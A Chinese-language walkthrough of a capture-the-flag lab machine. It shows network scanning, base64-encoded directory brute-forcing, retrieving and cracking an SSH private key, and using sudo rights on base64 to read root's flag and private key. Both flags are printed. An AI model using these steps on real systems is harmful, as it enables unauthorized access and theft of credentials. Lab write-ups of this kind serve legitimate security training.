主机发现
sudo arp-scan -l
扫描到本地网络靶机ip:192.168.91.173
nmap扫描
sudo nmap 192.168.91.173
发现靶机开放22端口的ssh服务与80端口的http服务
base64加密
我们访问一下80端口,发现了一串加密信息,判读大概是base64加密
base64加密特征:
1.编码是用的字符集包括(大写A-Z和小写a-z)、数字(0-9)、加号(+)、斜杠(/)以及填充字符(=)。
2.一般base64的编码长度是4的倍数。
3.以等号(=)结尾的很可能就是base64
查看源码发现还有一串信息是没有被加密过的
curl一下拿过来,创建一个文件放进去,方便使用。
sudo curl http://192.168.91.173
解码了这串base64加密是一段提示信息,-d:表示解码
echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK"|base64 -d >>password.txt
根据提示信息得知,所有的密码都有可能是base64的,所以下面还有一段未加密的信息,可能ssh登录的密码就是这个的base64加密,或许别的账户的登录密码是。提前加密上,备用。
echo "iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
"|base64 >> password.txt
目录爆破
一点东西都没爆出来
既然和base64相关,那把字典编码成base64进行爆破呢,这个字典不太行,换个字典重新爆破
cat /usr/share/dirb/wordlists/common.txt|awk '{system("echo "$0"|base64")}' > url2.txt
爆破出来了,curl一下看看
curl 192.168.91.173/aWRfcnNhCg==
base64解密一下,是个私钥
curl 192.168.91.173/aWRfcnNhCg== |base64 -d
解开以后,创个文件放进去。,然后john解码一下,这是一个哈希加密
得到加密的结果就是ssh登录的私钥了
ssh登录
sudo ssh lucas@192.168.91.173 -i id
还有一个密钥,在刚开始给的那几段未加密的话里面,现在我们把他全部加密一下看看
从第一句里面得到了私钥,我没有做分割,所以不太好看。
拿到了第一个user的flag
HMV8nnJAJAJA
提权
sudo -l 发现可执行权限base64
我们可以用base64的权限直接编码root下的root.txt再解码一下就拿到了root的flag,这样是一种比较快捷的拿root的flag的方式,但是我们还没有获取root权限。
可以把它的私钥加解密给取出来,然后给个权限,就可以登录root了
root flag
HMVFKBS64
拿下!